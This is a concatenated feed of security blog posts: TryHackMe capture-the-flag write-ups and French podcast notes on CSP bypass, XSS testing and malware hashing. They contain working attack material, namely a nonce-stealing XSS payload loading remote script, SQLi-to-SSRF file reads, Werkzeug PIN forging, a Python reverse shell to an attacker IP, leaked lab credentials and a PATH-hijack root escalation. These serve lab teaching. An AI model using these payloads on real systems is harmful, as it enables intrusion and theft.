                        ➜ ssh ubuntu@10.10.40.126 -i noraj_de_ma_cléubuntu@tryhackme:~$ sudo -lMatching Defaults entries for ubuntu on tryhackme:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser ubuntu may run the following commands on tryhackme:    (ALL : ALL) ALL    (ALL) NOPASSWD: ALL    (ALL) NOPASSWD: ALL    (ALL) NOPASSWD: ALL    (ALL) NOPASSWD: ALL    (ALL) NOPASSWD: ALL    (ALL) NOPASSWD: ALL    (ALL) NOPASSWD: ALL    (ALL) NOPASSWD: ALL    (ALL) NOPASSWD: ALL

                        Note: By jumping to the host, I guess we skipped the step where we were supposed to escape from the docker, lol.

                        Flag them all#

                        We must have taken some shortcuts so we must have missed flags on the road.

                        But now that we are root on the host, let's make up for lost time.

                        ubuntu@tryhackme:~$ sudo ls -lhA /root/total 40Klrwxrwxrwx 1 root root    9 Feb 27  2022 .bash_history -> /dev/null-rw-r--r-- 1 root root 3.1K Dec  5  2019 .bashrcdrwxr-xr-x 3 root root 4.0K Feb 27  2022 .cachedrwxr-xr-x 3 root root 4.0K Feb 27  2022 .local-rw-r--r-- 1 root root  161 Dec  5  2019 .profile-rw-r--r-- 1 root root   66 Feb 27  2022 .selected_editordrwx------ 2 root root 4.0K Feb 27  2022 .ssh-rw------- 1 root root    0 Dec  5 12:02 .viminfodrwxr-xr-x 2 root root 4.0K Feb 27  2022 .vnc-rw-r--r-- 1 root root   51 Nov  5 19:09 flag-4-of-4.txtdrwxr-xr-x 4 root root 4.0K Feb 27  2022 snap-rw-r--r-- 1 root root   67 Dec  5 12:02 yetikey3.txt

                        As we went to quickly and skipped the docker step, we missed the third flag, it must be in the docker overlay.

                        ubuntu@tryhackme:~$ sudo find /var/lib/docker/overlay2/ -type f -name flag-3-of-4.txt/var/lib/docker/overlay2/143eb13a6c8f69ab659eb0dd05be974c2d62272b26fc7b8e0a558c11c9d00ddd/diff/root/flag-3-of-4.txt/var/lib/docker/overlay2/2747ca7424ec987f73fbd8d00ba713a08767a0aa3c7e7b011c0b556f68f74257/merged/root/flag-3-of-4.txt/var/lib/docker/overlay2/64c447637ac4ee76d19a42d9fd1e2a02a308d7e2aeedb99467b16953e45294ce/diff/root/flag-3-of-4.txt/var/lib/docker/overlay2/a2d2cf1af707deb1ab7d5e3b9001767bddab6d65d6a05a989011fe126150679b/diff/root/flag-3-of-4.txt/var/lib/docker/overlay2/392ec18fe56eef27553c9f245114a5a1c2cdc8de4dd080388aca82cd11efe36d/diff/root/flag-3-of-4.txt/var/lib/docker/overlay2/fe952ba84abeaf21384b247a897983ec31c2c0380e205569e009ff412a248c9f/diff/root/flag-3-of-4.txt

                        Else we can do that another way:

                        ubuntu@tryhackme:~$ sudo docker psCONTAINER ID   IMAGE           COMMAND                  CREATED       STATUS       PORTS                                                                                                                                                                                                                                                                                              NAMESc6284e5811a7   busy_busy_box   "/etc/bootstrap.sh -d"   4 hours ago   Up 4 hours   0.0.0.0:20-21->20-21/tcp, :::20-21->20-21/tcp, 0.0.0.0:8065->8065/tcp, :::8065->8065/tcp, 0.0.0.0:8075->8075/tcp, :::8075->8075/tcp, 0.0.0.0:8085->8085/tcp, :::8085->8085/tcp, 0.0.0.0:8095->8095/tcp, :::8095->8095/tcp, 0.0.0.0:65500-65515->65500-65515/tcp, :::65500-65515->65500-65515/tcp   containers_busy_1ubuntu@tryhackme:~$ sudo docker cp containers_busy_1:/root/flag-3-of-4.txt /tmp/flag3.txtSuccessfully copied 2.05kB to /tmp/flag3.txt
                        ]]>                         Service Hacktion - Notes attachées au balado S01E09 - Contournement CSP sur PortSwigger.net en utilisant un script Google https://blog.raw.pm/fr/Service-Hacktion-S01E09-contournement-CSP-Portswigger-Google-script/ Saison Épisode 1 9

                        Notes#

                        Article : 🇬🇧 Johan Carlsson - CSP bypass on PortSwigger.net using Google script resources

                        Johan Carlsson, pseudo joaxcar, est un développeur qui participe à des programmes de prime aux bogues (bug bounty).

                        Son rapport de vulnérabilité a été rendu public sur HackerOne.

                        Mise en garde :

                        • Il a rapporté un contournement de CSP seul, ça serait hors périmètre sur la plupart des autres programmes.
                        • Il est important de bien comprend sa cible et son modèle de menace.

                        Johan aime bien le contournement de CSP, car c'est un vaste sujet et qu'il est complexe d'écrire une bonne CSP.

                        La directive la plus importante est script-src. Souvent, on adopte soit une approche par liste blanche d'URL, soit on utilise un nombre aléatoire à usage unique (nonce).

                        Comment fonctionne un nonce ?

                        1. Sur le serveur web, on génère une chaîne de caractères encodée en base64 ou en hexadecimal à partir de données générées aléatoirement. Les nonces doivent être générés différemment à chaque chargement de la page. (À usage unique, nonce = number once)
                        2. Ajout de l'attribut nonce à la balise <script>. (similaire anti-CSRF)
                        3. Envoyer le nonce dans un en-tête CSP.
                        4. Le nonce est pseudo-masqué dans le DOM :
                        • script.getAttribute("nonce"); ❌ (vide)
                        • script.nonce; ✅ (seul moyen)
                        • Par exemple, impossible à exfiltrer depuis un filtre d'attribut CSS

                        Particularité de la directive strict-dynamic : ça indique que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'une empreinte, doit être propagée à tous les scripts chargés par celui-ci. Par exemple, pour une CSP script-src 'strict-dynamic' 'nonce-abc' https://listeblanche.example.com/, on ignore self pour <script nonce="abc">exemple</script> ou ignore la liste blanche d'URL pour <script nonce="abc" src="https://example.com/script.js"> car il y a le nonce, mais <script src="https://listeblanche.example.com/ex.js"> est interdit s'il n'y a pas le nonce, ça ignore donc les listes blanches d'URL. strict-dynamic autorise même des scripts sans nonce si chargé depuis un script avec nonce.

                        Quand il n'y a pas strict-dynamic, abus avec script Captcha de Google :

                        <script src='https://www.google.com/recaptcha/about/js/main.min.js'></script><img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

                        Mais si on remplace alert par eval, c'est bloqué parce que unsafe-eval n'est pas autorisé. Ça donne une XSS très limitée. Il va falloir trouver le moyen d'avoir une XSS complète.

                        Une fausse idée assez répandue concernant le CSP est que la valeur du nonce est cachée après le chargement du DOM. Ce n'est que partiellement vrai. En regardant le DOM dans les outils de développement après avoir chargé une page avec des scripts décorés avec des nonces, il n'y a pas de valeur de nonce visible sur les balises de script, seulement un attribut de nonce vide. Cela ne signifie toutefois pas que la valeur nonce est supprimée ; elle est simplement cachée des canaux latéraux tels que CSS. La valeur est toujours accessible à partir de JavaScript.

                        On peut y accéder en JS avec node.nonce, ex :

                        const nonce = document.querySelector("[nonce]").nonce;`.

                        On peut donc créer un nouveau script avec le même nonce :

                        <script src='https://www.google.com/recaptcha/about/js/main.min.js'></script><img src=x ng-on-error='  doc=$event.target.ownerDocument;  a=doc.defaultView.top.document.querySelector("[nonce]");  b=doc.createElement("script");  b.src="//example.com/evil.js";  b.nonce=a.nonce; doc.body.appendChild(b)'>

                        Des contournements sans chaine complète comme le contournement d'un second facteur d'authentification est généralement accepté, mais pas un contournement de CSP seul. L'auteur a rapporté le contournement de CSP seul, car il n'a pas trouvé de XSS. Cela serait normalement hors-périmètre, mais il a jugé qu'ils accepteraient, car il avait vu qu'ils acceptaient des bogues de contournement de CSP induits par des composants tiers. Attention à ne pas faire pareil aveuglement et finir avec un rapport catégorisé en hors périmètre ou non applicable.

                        • Liste blanche : contournement avec JSONP, Angular, etc. Utilisation abusive d'une ressource autorisée.
                        • nonce :
                          • Si strict-dynamic, contournement identique à la liste blanche
                          • Si sans strict-dynamic, il faudra en plus récupérer le nonce d'un autre script
                        ]]>                         Service Hacktion - Notes attachées au balado S01E08 - Nomenclature du test d'intrusion https://blog.raw.pm/fr/Service-Hacktion-S01E08-nomenclature-test-intrusion/ Saison Épisode 1 8

                        Notes#

                        On entend souvent :

                        • TI interne ➡️ infra
                        • TI externe ➡️ web

                        Amalgame :

                        • interne / sur site
                        • externe / à distance

                        En anglais : infrastructure penetration test, web application penetration test

                        Absurdités :

                        • TI infra. à distance ➡️ TI interne externe ?
                        • TI infra sur site ➡️ TI interne interne ?
                        • TI web sur site ➡️ TI externe interne ?
                        • TI web à distance ➡️ TI externe externe ?

                        Externe ou interne qualifie la nature de l'exposition du réseau, pas l'emplacement des auditeurs vis-à-vis de celui-ci.

                        Alors qu'on devrait parler de :

                        • TI infra. interne
                        • TI infra. externe
                        • TI (app.) web

                        Si dans 95% des cas le TI web se fait à distance et dans 80% des cas le TI infra. se fait sur site, on peut abréger l'implicite de la manière suivante :

                        • TI infra
                        • TI web
                        ]]>                         Service Hacktion - Notes attachées au balado S01E07 - Pourquoi il ne faut pas utiliser alert(1) pour les XSS https://blog.raw.pm/fr/Service-Hacktion-S01E07-XSS-alert-1/ Saison Épisode 1 7

                        Notes#

                        Avantages alert() :

                        • Facilement visible

                        Pas le 1 :

                        • Ça ne sert à rien
                        • On ne sait pas d'où ça vient, si on a un formulaire avec 10 champs et qu'on a 5 alertes avec 1 qui s'affichent, quels étaient les champs vulnérables ?
                          • Plutôt utiliser le nom de champ d'origine et la page
                          • Une chaine de caractère unique pour facilement chercher
                        • Dans le cas d'un domaine bac à sable, on ne sait pas de quel domaine provient la XSS. Iframe bac à sable ?
                          • Plutôt utiliser document.domain ou window.origin
                          • Hors périmètre (prime aux bogues) ?
                          • Pas d'impact (cookie, SOP) ?

                        Pas le alert() :

                        • Quand la charge utile est réfléchie 89 fois, il va falloir cliquer 89 fois sur ok
                        • Si la XSS est stockée et qu'on a pas les droits pour la supprimer ?
                        • Si on est en env. de prod. et que les clients la voient ?
                        • Souvent sur liste noire d'un WAF
                        • Privilégier console.log() pour répondre à ces problématiques

                        La part d'ombre, déclenchement en aveugle ?

                        • Formulaire de contact
                        • Ticket de support
                        • Interface d'administration
                        • En-tête Referer ou User-Agent ➡️ Analyse de contenu
                        • Réfléchie dans une autre application qui utilise la même BDD ou l'API ou application mobile
                        • XSS Hunter Express, app. web, pas maintenu
                        • bXSS, notifications (courriel, chats), peu maintenu
                        • ezXSS, app. web + notifications, maintenu

                        Ressources :

                        ]]>                         Service Hacktion - Notes attachées au balado S01E06 - Identifier les familles de maliciel avec Telfhash (Trend Micro ELF Hash) https://blog.raw.pm/fr/Service-Hacktion-S01E06-telfhash/ Saison Épisode 1 6

                        Lexique#

                        • algorithme de hachage - Fonction mathématique qui permet la création d'un haché ou code de hachage en transformant un groupe de données de taille variable en un code unique de taille fixe.
                        • haché ou code de hachage - Résultat d'une fonction ou d'un algorithme de hachage cryptographique.

                        Introduction#

                        telfhash pour Trend Micro ELF Hash est un haché de symboles pour les fichiers ELF, tout comme imphash est un haché d'importations pour les fichiers PE. Avec telfhash, on peut regrouper les fichiers ELF par similarité sur la base des symboles. Cela est particulièrement utile pour regrouper des échantillons malveillants. Si un échantillon n'a pas de symboles, telfhash utilise ses destinations d'adresses d'appel pour émuler une liste de symboles.

                        telfhash utilise TLSH (Trend Micro Locality Sensitive Hash) pour générer le code de hachage.

                        Source : trendmicro/telfhash

                        TLSH est une bibliothèque de correspondance approximative (fuzzy matching en anglais). À partir d'un flux d'octets d'une longueur minimale de 50 octets, TLSH génère un haché qui peut être utilisée pour des comparaisons de similarité. Des objets similaires auront des hachés similaires, ce qui permet de détecter des objets similaires en comparant leurs hachés. Il convient de noter que le flux d'octets doit être suffisamment complexe. Par exemple, un flux d'octets identiques ne générera pas de haché.

                        Source : trendmicro/tlsh

                        Details#

                        La différence avec un algorithme de hachage classique, pour lequel des objets similaires auront des hachés très différents, avec telfhash des objets similaires auront des hachés similaires.

                        Même si les créateurs de logiciels malveillants ajoutent de nouvelles fonctionnalités à leurs échantillons malveillants en ajoutant ou en important de nouvelles fonctions de bibliothèque, le haché telfhash restera proche de l'original et permettra toujours de déterminer si les échantillons de logiciels malveillants appartiennent à la même famille.

                        Actuellement, telfhash prend en charge les architectures x86, x86-64, ARM et MIPS, qui couvrent la majorité des échantillons de logiciels malveillants IoT et le haché est agnostique de l'architecture.

                        Le haché telfhash est affiché sur VirusTotal et les utilisateurs de VirusTotal Intelligence cliquer dessus pour trouver les autres binaires ELF similaires.

                        Ressources#

                        ]]>                         Service Hacktion - Notes attachées au balado S01E05 - Erreurs volontaires dans les Preuves de Concept et les outils offensifs https://blog.raw.pm/fr/Service-Hacktion-S01E05-erreurs-volontaires/ Saison Épisode 1 5

                        Lexique#

                        • PdC - Preuves de Concept - Production d'un code source permettant de prouver la présence ou l'exploitabilité d'une vulnérabilité dans un système informatique.
                        • IdC - Indicateur de Compromission - Artefact observé sur un système informatique indiquant une intrusion informatique avec un haut niveau de certitude.
                        • Piratin - Pirate amateur à la recherche d'une intrusion facile, souvent irresponsable et sans éthique, qui utilise des scripts déjà existants, disponibles gratuitement sur le Net, pour effectuer ses attaques malveillantes. (source)

                        Exemple n°1 - Rubeus, nom du processus de connexion#

                        User32LogonProcesss (avec 3 s) avec un commentaire surprenant :

                        public static IntPtr LsaRegisterLogonProcessHelper(){    // helper that establishes a connection to the LSA server and verifies that the caller is a logon application    //  used for Kerberos ticket enumeration for ALL users    var logonProcessName = "User32LogonProcesss"; // yes I know this is "weird" ;)

                        Visible dans les journaux d'évènement Windows.

                        Supprimé quelques heures après avoir été exposé dans un tweet, avec un message de transaction lui aussi évocateur :

                         Removed call to LsaRegisterLogonProcess-Removed call to `LsaRegisterLogonProcess` as it was ultimately unnecessary.So long User32LogonProcesss IOC, we hardly knew thee :)

                        Référence :

                        Exemple n°2 - mimikatz, domaine de connexion#

                        KIWI_NEVERTIME(&validationInfo.PasswordMustChange);RtlInitUnicodeString(&validationInfo.LogonDomainName, L"<3 eo.oe ~ ANSSI E>");validationInfo.EffectiveName= ticket.ClientName->Names[0];

                        Exemple n°3 - PdC EDB#

                        • virgules en trop
                        • guillemet ou parenthèse manquante
                        • valeurs codées en dur (ex : 127.0.0.1)
                        • indentation ou saut de ligne arbitraire

                        Questions#

                        • Doit-on placer ce genre d'Indicateur de Compromission dans les PdC ? Contre les piratins.
                          • Efficacité ? Combien se font avoir ? Qui surveille ces IdC ?
                          • Les piratins arrivent-ils réellement à utiliser ce genre d'outil ?
                          • Les menaces persistantes avancées développent leurs propres outils, relisent et modifient les outils existant de base pour évader les signatures ?
                          • Le haché du binaire ou les nombreuses chaines de caractères uniques ne sont-elles pas suffisantes ?
                        • Si oui, doit-on placer un indice pour le lecteur attentif ?
                        • Si l'on découvre ce genre d'IdC, doit-on en faire part publiquement ?
                          • Aider les équipes défensives ? Vraiment ? Car ils auront déjà sans doute une règle dans leur outil de détection sans le savoir.
                          • Risque d'aider les cybercriminels ?
                        • Quand code compilé, ne pas fournir de binaire pré-compilé suffit à repousser les piratins ?
                          • Ne prouve pas qu'on a lu le code et sait ce que l'on fait.
                          • IdC dans le binaire pré-compilé, mais pas dans le code source ?
                        • Il paraît que des groupes soutenus par des états utilisent les binaires pré-compilés, fait exprès ou non ?
                          • Simuler des attaquants non avancés ?
                          • Attaque sous faux drapeau ?
                        • IdC trop connu ? Faux-positif ?
                        • Pour les outils, obliger de faire confiance à partir d'un certain moment ?
                          • Pour un outil d'une taille très conséquente, difficile d'auditer l'ensemble du code ?
                          • Pour un outil évolue souvent, difficile d'effectuer un suivi des modifications fréquent ?
                          • Nombre d'outils ?
                          • Variété des langages de programmation ?
                          • Qui a déjà lu entièrement le code de nmap ? De netexec ?
                          • Et les outils propriétaires ? Nessus ? Rétro-ingénieurie ?
                          • Où situer le curseur de confiance ?
                            • PdC -> systématiquement ?
                            • Outils
                              • Selon l'auteur ?
                              • Selon le niveau d'adoption ?
                              • Selon les distributions Linux qui empaquètent ?
                        ]]>                         The Bandit Surfer - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-The-Bandit-Surfer-write-up/ Information

                        Room#

                        • Name: The Bandit Surfer Alexandre ZANNI writeups security bash python writeups ssrf eop sqli sudo thm lfd Sun, 28 Jan 2024 23:29:00 GMT Information

                          Room#

                          • Name: The Bandit Surfer
                          • Profile: tryhackme.com
                          • Difficulty: Hard
                          • Description: The Bandit Yeti is surfing to town.

                          The Bandit Surfer

                          This is the Side Quest Challenge 4 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023).

                          Write-up

                          Overview#

                          Install tools used in this WU on BlackArch Linux:

                          $ sudo pacman -S nmap ffuf nuclei ruby curl python

                          Challenge#

                          Network enumeration#

                          Port and service scan with nmap:

                          # Nmap 7.94 scan initiated Sun Jan 28 17:57:18 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.69.64Nmap scan report for 10.10.69.64Host is up, received echo-reply ttl 63 (0.14s latency).Not shown: 65509 closed tcp ports (reset), 24 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT     STATE SERVICE  REASON         VERSION22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   3072 e8:43:37:a0:ac:a6:22:57:53:00:6d:75:51:db:bc:a9 (RSA)|   256 25:16:18:74:8c:06:55:16:7e:20:84:89:ae:90:9a:f6 (ECDSA)|_  256 fc:0b:0f:e2:c0:00:bb:89:a1:8f:de:71:9d:ad:d1:63 (ED25519)8000/tcp open  http-alt syn-ack ttl 63 Werkzeug/3.0.0 Python/3.8.10| http-methods:|_  Supported Methods: GET OPTIONS HEAD|_http-title: The BFG| fingerprint-strings:|   FourOhFourRequest:|     HTTP/1.1 404 NOT FOUND|     Server: Werkzeug/3.0.0 Python/3.8.10|     Date: Sun, 28 Jan 2024 16:58:18 GMT|     Content-Type: text/html; charset=utf-8|     Content-Length: 207|     Connection: close|     <!doctype html>|     <html lang=en>|     <title>404 Not Found</title>|     <h1>Not Found</h1>|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>|   GetRequest:|     HTTP/1.1 200 OK|     Server: Werkzeug/3.0.0 Python/3.8.10|     Date: Sun, 28 Jan 2024 16:58:12 GMT|     Content-Type: text/html; charset=utf-8|     Content-Length: 1752|     Connection: close|     <!DOCTYPE html>|     <html lang="en">|     <head>|     <meta charset="UTF-8">|     <meta name="viewport" content="width=device-width, initial-scale=1.0">|     <title>The BFG</title>|     <style>|     Reset margins and paddings for the body and html elements */|     html, body {|     margin: 0;|     padding: 0;|     body {|     background-image: url('static/imgs/snow.gif');|     background-size: cover; /* Adjust the background size */|     background-position: center top; /* Center the background image vertically and horizontally */|     display: flex;|     flex-direction: column;|     justify-content: center;|_    align-items: center;|_http-server-header: Werkzeug/3.0.0 Python/3.8.101 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :...# Nmap done at Sun Jan 28 17:59:45 2024 -- 1 IP address (1 host up) scanned in 147.35 seconds

                          Web discovery#

                          There is a web application available at http://10.10.69.64:8000/ that offers to download images.

                          The download links are like /download?id=1.

                          If asking for an invalid ID (e.g. /download?id=0), we get an error, reaveling information about the technology stack and the configuration:

                          • Language: Python
                          • Web framework: Flask
                          • WSGI: Werkzeug
                          • Python version: 3.8
                          • Example of absolute path: /home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py
                          • Username: mcskidy

                          Web fuzzing#

                          We can try to enumerate all valid image ID to see if some that are not included on the page exist.

                          ➜ ruby -e 'puts (1..20).to_a' | ffuf -u http://10.10.69.64:8000/download\?id\=FUZZ -w -...________________________________________________ :: Method           : GET :: URL              : http://10.10.69.64:8000/download?id=FUZZ :: Wordlist         : FUZZ: - :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500________________________________________________5                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 73ms]8                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 145ms]9                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms]14                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 166ms]6                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 167ms]13                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 172ms]12                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 246ms]20                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms]7                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms]10                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 159ms]17                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms]15                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 138ms]11                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms]19                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 233ms]16                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms]1                       [Status: 200, Size: 33017, Words: 2560, Lines: 223, Duration: 246ms]2                       [Status: 200, Size: 71551, Words: 3093, Lines: 301, Duration: 126ms]3                       [Status: 200, Size: 69873, Words: 8965, Lines: 596, Duration: 166ms]18                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 523ms]4                       [Status: 200, Size: 2305908, Words: 9820, Lines: 8254, Duration: 301ms]:: Progress: [20/20] :: Job [1/1] :: 7 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

                          So outside ID 1-3 there is an ID 4.

                          wget http://10.10.69.64:8000/download\?id=4

                          This is an image with wanted artic bandits (useless).

                          There are at least 3 ways to find the werkzeug debugger console (http://10.10.69.64:8000/console):

                          • Launch nuclei (nuclei -u http://10.10.69.64:8000) and the module werkzeug-debugger-detect will find it
                          • Fuzz with ffuf (ffuf -u http://10.10.69.64:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt)
                          • From the previous error message we know there is werkzeug so try for some common misconfiguration

                          Web exploitation - SQLi and SSRF#

                          Unfortunattely, the console is protected by a PIN code.

                          Metasploit exploit/multi/http/werkzeug_debug_rce is not working so here werkzeug must be > 0.10.

                          In that case, we can read on Hacktricks that a if we have a LFD (local file disclosure) we could have the information required to craft the PIN code.

                          We need to find a LFD first.

                          On the download page, if we inject a single quote (/download?id=') we get a SQL error (MySQL), so there is a potential for SQL injection.

                          With the following payload we have a SSRF ' UNION SELECT "http://10.18.17.12:7000"-- -.

                          ruby -run -ehttpd ~/Public -p7000curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"http://10.18.17.12:7000"--%20-' --output -

                          We can use the SSRF for LDF too (%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-).

                          ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-' --output -NAME="Ubuntu"VERSION="20.04.6 LTS (Focal Fossa)"ID=ubuntuID_LIKE=debianPRETTY_NAME="Ubuntu 20.04.6 LTS"VERSION_ID="20.04"HOME_URL="https://www.ubuntu.com/"SUPPORT_URL="https://help.ubuntu.com/"BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"VERSION_CODENAME=focalUBUNTU_CODENAME=focal

                          Web exploitation - LFD to leak werkzeug PIN code#

                          We already know the probably_public_bits from the previous error message. Now let's retrieve teh information for private_bits.

                          In /proc/net/arp we can find the network interface name.

                          ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///proc/net/arp"--%20-' --output -IP address       HW type     Flags       HW address            Mask     Device10.10.0.1        0x1         0x2         02:c8:85:b5:5a:aa     *        eth0

                          We can find the AMC address of eth0 in /sys/class/net/eth0/address.

                          ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///sys/class/net/eth0/address"--%20-' --output -02:a7:a9:9f:ad:f3

                          Using ruby we can convert if from hexadecimal to decimal.

                          '02:a7:a9:9f:ad:f3'.gsub(':', '')# => "02a7a99fadf3"0x02a7a99fadf3# => 2919128608243

                          Let's get the machine ID.

                          ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/machine-id"--%20-' --output -aee6189caee449718070b58132f2e4ba

                          We can confirm the hash function required is SHA-1.

                          ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/__init__.py"--%20-' --output - -s | grep hashlibimport hashlib    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]    h = hashlib.sha1()

                          Then we can launch the script to generater the PIN code and use it on the console http://10.10.69.64:8000/console.

                          ➜ python werkzeug-pin.py917-190-257

                          Note: if not working, restart the machine and do it again. It may requires several attempts.

                          Shell acquisition#

                          We can generate a reverse shell revshells.com (Python3 #2).

                          import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.17.12",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

                          We can obtain the shell:

                          ➜ ncat -lvnp 7777Ncat: Version 7.94 ( https://nmap.org/ncat )Ncat: Listening on [::]:7777Ncat: Listening on 0.0.0.0:7777Ncat: Connection from 10.10.69.64:46292.mcskidy@proddb:~$ iduid=1000(mcskidy) gid=1000(mcskidy) groups=1000(mcskidy)

                          User flag#

                          mcskidy@proddb:~$ cat user.txtTHM{EDITED}

                          Note: We could have read it with the SQLi / SSRF / LFD.

                          EoP (elevation of privilege) part 1#

                          The source code is versionned.

                          mcskidy@proddb:~/app$ ls -lhAtotal 16K-rw-rw-r-- 1 mcskidy mcskidy 1.5K Oct 19 20:03 app.pydrwxrwxr-x 8 mcskidy mcskidy 4.0K Nov  2 15:41 .gitdrwxrwxr-x 3 mcskidy mcskidy 4.0K Oct 19 19:58 staticdrwxrwxr-x 2 mcskidy mcskidy 4.0K Nov  2 15:29 templates

                          Let's see the history of the file app.py.

                          mcskidy@proddb:~/app$ git --no-pager log -p app.py…commit c1a0b22905cc0da0b5ad88c124125efa626013afAuthor: mcskidy <mcskidy@proddb>Date:   Thu Oct 19 20:02:57 2023 +0000    Minor updatediff --git a/app.py b/app.pyindex 8d05622..5765c7d 100644--- a/app.py+++ b/app.py@@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static') # MySQL configuration app.config['MYSQL_HOST'] = 'localhost' app.config['MYSQL_USER'] = 'mcskidy'-app.config['MYSQL_PASSWORD'] = 'EDITED'+app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6' app.config['MYSQL_DB'] = 'elfimages' mysql = MySQL(app)…commit e9855c8a10cb97c287759f498c3314912b7f4713Author: mcskidy <mcskidy@proddb>Date:   Thu Oct 19 20:01:41 2023 +0000    Changed MySQL userdiff --git a/app.py b/app.pyindex 81fd2d2..5f5ff6e 100644--- a/app.py+++ b/app.py@@ -9,8 +9,8 @@ app = Flask(__name__, static_url_path='/static') # MySQL configuration app.config['MYSQL_HOST'] = 'localhost'-app.config['MYSQL_USER'] = 'root'-app.config['MYSQL_PASSWORD'] = 'w6UV3tjxAuKCUWtP'+app.config['MYSQL_USER'] = 'mcskidy'+app.config['MYSQL_PASSWORD'] = 'EDITED' app.config['MYSQL_DB'] = 'elfimages' mysql = MySQL(app)

                          Credential stuffing#

                          Here are all the MySQL credentials we can try for PAM:

                          • mcskidy / fSXT8582GcMLmSt6 ❌
                          • mcskidy / EDITED ✅
                          • root / w6UV3tjxAuKCUWtP ❌

                          EoP (elevation of privilege) part 2#

                          With the found credentials we can see what commands mcskidy can run with sudo.

                          mcskidy@proddb:~$ sudo -lMatching Defaults entries for mcskidy on proddb:    env_reset, mail_badpass,    secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser mcskidy may run the following commands on proddb:    (root) /usr/bin/bash /opt/check.sh

                          Let's see what /opt/check.sh can offer.

                          mcskidy@proddb:~$ cat /opt/check.sh#!/bin/bash. /opt/.bashrccd /home/mcskidy/WEBSITE_URL="http://127.0.0.1:8000"response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL)# Check the HTTP response codeif [ "$response" == "200" ]; then  /usr/bin/echo "Website is running: $WEBSITE_URL"else  /usr/bin/echo "Website is not running: $WEBSITE_URL"fi

                          /opt/.bashrc is sourced but we can't source it.

                          mcskidy@proddb:~$ ls -lh /opt/.bashrc-rw-r--r-- 1 root root 3.7K Oct 19 06:28 /opt/.bashrc

                          The sudo configuration show we have /home/mcskidy in the secure_path.

                          It's weird to have a .bashrc in /opt and to source it. As the file is long let's compare it with another to see if has been changed.

                          mcskidy@proddb:~$ diff /opt/.bashrc /home/mcskidy/.bashrc4c4< enable -n [ # ]--->

                          Shells have bilt-in commands like echo, history, pwd, test and many others. With -n option, enable will disable the built-in command and try to load them from $PATH. With [ # ], all built-ins are disabled. But what good does it do to us since all binaries are with absolute path?

                          The tricky part is that in if [ "$response" == "200" ]; then the braquets are a binary /usr/bin/[. So now that it's loaded from PATH we can create a [ binary in /home/mcskidy/. You can learn about it on HackTricks - Bypass Linux Restrictions.

                          mcskidy@proddb:~$ echo 'bash' > ~/[mcskidy@proddb:~$ chmod +x ~/[mcskidy@proddb:~$ sudo -u root /usr/bin/bash /opt/check.sh[sudo] password for mcskidy:127.0.0.1 - - [28/Jan/2024 21:40:02] "GET / HTTP/1.1" 200 -root@proddb:/home/mcskidy# iduid=0(root) gid=0(root) groups=0(root)

                          Root flag#

                          root@proddb:~# cat /root/root.txtTHM{EDITED}

                          Yeti flag#

                          root@proddb:~# cat /root/yetikey4.txt4-EDITED
